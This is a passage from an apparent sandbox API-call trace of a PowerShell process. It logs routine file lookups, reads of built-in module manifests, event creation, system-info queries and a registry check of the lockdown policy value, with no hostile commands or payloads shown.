cFileName="BranchCacheStatus.cdxml", cAlternateFileName="")) returned 0 [0106.386] FindClose (in: hFindFile=0x7673610 | out: hFindFile=0x7673610) returned 1 [0106.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0106.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0106.387] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache\\branchcache.psd1")) returned 0x20 [0106.388] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0106.388] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", lpFilePart=0x0) returned 0x4f [0106.388] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0106.388] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", lpFilePart=0x0) returned 0x4f [0106.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0106.388] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache\\branchcache.psd1"), fInfoLevelId=0x0, lpFileInformation=0x55efee4 | out: lpFileInformation=0x55efee4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9895e8fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9895e8fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9895e8fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x699)) returned 1 [0106.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0106.388] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0106.388] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", nBufferLength=0x50, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1", lpFilePart=0x0) returned 0x4f [0106.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0106.388] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache\\branchcache.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9d4 [0106.388] GetFileType (hFile=0x9d4) returned 0x1 [0106.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0106.388] GetFileType (hFile=0x9d4) returned 0x1 [0106.388] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0106.388] ReadFile (in: hFile=0x9d4, lpBuffer=0x55f0ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55f0ce8*, lpNumberOfBytesRead=0x843e6cc*=0x699, lpOverlapped=0x0) returned 1 [0106.396] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x699 [0106.396] ReadFile (in: hFile=0x9d4, lpBuffer=0x55f0321, nNumberOfBytesToRead=0x167, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55f0321*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0106.396] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x699 [0106.397] ReadFile (in: hFile=0x9d4, lpBuffer=0x55f0ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55f0ce8*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0106.397] CloseHandle (hObject=0x9d4) returned 1 [0106.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0106.399] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0106.399] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0106.399] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197d5fb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76735d0 [0106.399] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197d5fb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.399] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets.psd1", cAlternateFileName="")) returned 1 [0106.400] FindNextFileW (in: hFindFile=0x76735d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets.psd1", cAlternateFileName="")) returned 0 [0106.400] FindClose (in: hFindFile=0x76735d0 | out: hFindFile=0x76735d0) returned 1 [0106.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0106.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0106.401] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0106.401] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0106.401] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", lpFilePart=0x0) returned 0x4d [0106.401] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0106.401] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", lpFilePart=0x0) returned 0x4d [0106.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0106.401] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1"), fInfoLevelId=0x0, lpFileInformation=0x55fa478 | out: lpFileInformation=0x55fa478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0106.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0106.401] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0106.401] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1", lpFilePart=0x0) returned 0x4d [0106.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0106.401] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9d4 [0106.401] GetFileType (hFile=0x9d4) returned 0x1 [0106.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0106.401] GetFileType (hFile=0x9d4) returned 0x1 [0106.401] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0106.401] ReadFile (in: hFile=0x9d4, lpBuffer=0x55fb274, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55fb274*, lpNumberOfBytesRead=0x843e6cc*=0x760, lpOverlapped=0x0) returned 1 [0106.403] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x760 [0106.403] ReadFile (in: hFile=0x9d4, lpBuffer=0x55fa974, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55fa974*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0106.403] SetFilePointer (in: hFile=0x9d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x760 [0106.403] ReadFile (in: hFile=0x9d4, lpBuffer=0x55fb274, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x55fb274*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0106.403] CloseHandle (hObject=0x9d4) returned 1 [0106.579] CoCreateGuid (in: pguid=0x843e70c | out: pguid=0x843e70c*(Data1=0xa82de40, Data2=0xab48, Data3=0x4bf8, Data4=([0]=0xac, [1]=0x41, [2]=0xca, [3]=0x18, [4]=0x33, [5]=0xf3, [6]=0xbe, [7]=0x41))) returned 0x0 [0106.579] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x9d4 [0106.579] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x884 [0106.579] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x990 [0106.579] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x8f0 [0106.580] SetEvent (hEvent=0x8f0) returned 1 [0106.580] SetEvent (hEvent=0x9d4) returned 1 [0106.580] SetEvent (hEvent=0x884) returned 1 [0106.580] SetEvent (hEvent=0x990) returned 1 [0106.580] AmsiCloseSession () returned 0x315cd38 [0106.580] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x9a4 [0106.580] SetThreadUILanguage (LangId=0x0) returned 0x2c70409 [0106.728] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e3f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e3f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x9, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0106.728] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e364*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e364*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xff, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0106.728] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x9, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e3e8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x9, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0106.732] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1")) returned 0x20 [0106.732] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0106.732] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0106.733] CoTaskMemAlloc (cb=0x20c) returned 0x73c1520 [0106.733] GetSystemDirectoryW (in: lpBuffer=0x73c1520, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0106.733] CoTaskMemFree (pv=0x73c1520) [0106.733] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0106.733] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0106.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e010) returned 1 [0106.733] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843e08c | out: lpFileInformation=0x843e08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0106.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e00c) returned 1 [0106.733] GetSystemInfo (in: lpSystemInfo=0x843e0c0 | out: lpSystemInfo=0x843e0c0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0106.733] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843e050 | out: phkResult=0x843e050*=0x994) returned 0x0 [0106.734] RegQueryValueExW (in: hKey=0x994, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843e06c, lpData=0x0, lpcbData=0x843e068*=0x0 | out: lpType=0x843e06c*=0x0, lpData=0x0, lpcbData=0x843e068*=0x0) returned 0x2 [0106.734] RegCloseKey (hKey=0x994) returned 0x0 [0106.734] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0106.734] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0106.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dfc8) returned 1 [0106.734] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0106.734] GetFileType (hFile=0x994) returned 0x1 [0106.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dfc4) returned 1 [0106.734] GetFileType (hFile=0x994) returned 0x1 [0106.734] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x0 [0106.734] ReadFile (in: hFile=0x994, lpBuffer=0x5453d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x5453d18*, lpNumberOfBytesRead=0x843e030*=0x5ad, lpOverlapped=0x0) returned 1 [0106.735] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x5ad [0106.735] ReadFile (in: hFile=0x994, lpBuffer=0x5453265, nNumberOfBytesToRead=0x253, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x5453265*, lpNumberOfBytesRead=0x843e030*=0x0, lpOverlapped=0x0) returned 1 [0106.735] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e004*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e004*=0) returned 0x5ad [0106.735] ReadFile (in: hFile=0x994, lpBuffer=0x5453d18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e030, lpOverlapped=0x0 | out: lpBuffer=0x5453d18*, lpNumberOfBytesRead=0x843e030*=0x0, lpOverlapped=0x0) returned 1 [0106.735] CoTaskMemAlloc (cb=0x20c) returned 0x73c1748 [0106.735] GetSystemDirectoryW (in: lpBuffer=0x73c1748, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0106.735] CoTaskMemFree (pv=0x73c1748) [0106.735] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0106.735] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0106.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843df64) returned 1 [0106.735] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843dfe0 | out: lpFileInformation=0x843dfe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0106.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843df60) returned 1 [0106.735] GetSystemInfo (in: lpSystemInfo=0x843e014 | out: lpSystemInfo=0x843e014*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0106.735] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843dfa4 | out: phkResult=0x843dfa4*=0x858) returned 0x0 [0106.736] RegQueryValueExW (in: hKey=0x858, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843dfc0, lpData=0x0, lpcbData=0x843dfbc*=0x0 | out: lpType=0x843dfc0*=0x0, lpData=0x0, lpcbData=0x843dfbc*=0x0) returned 0x2 [0106.736] RegCloseKey (hKey=0x858) returned 0x0 [0106.736] CloseHandle (hObject=0x994) returned 1 [0106.739] CoCreateGuid (in: pguid=0x843e094 | out: pguid=0x843e094*(Data1=0x51904c85, Data2=0x8471, Data3=0x4de5, Data4=([0]=0xba, [1]=0x3f, [2]=0x33, [3]=0x2d, [4]=0x1a, [5]=0x4c, [6]=0x1d, [7]=0x35))) returned 0x0 [0106.739] QueryPerformanceCounter (in: lpPerformanceCount=0x843ddf4 | out: lpPerformanceCount=0x843ddf4*=78887110188) returned 1 [0106.739] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x66 [0106.739] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", nBufferLength=0x66, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1", lpFilePart=0x0) returned 0x65 [0106.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dd28) returned 1 [0106.740] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843dda4 | out: lpFileInformation=0x843dda4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f83d66, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x71f83d66, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x71f83d66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5ad)) returned 1 [0106.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dd24) returned 1 [0106.740] GetFullPathNameW (in: 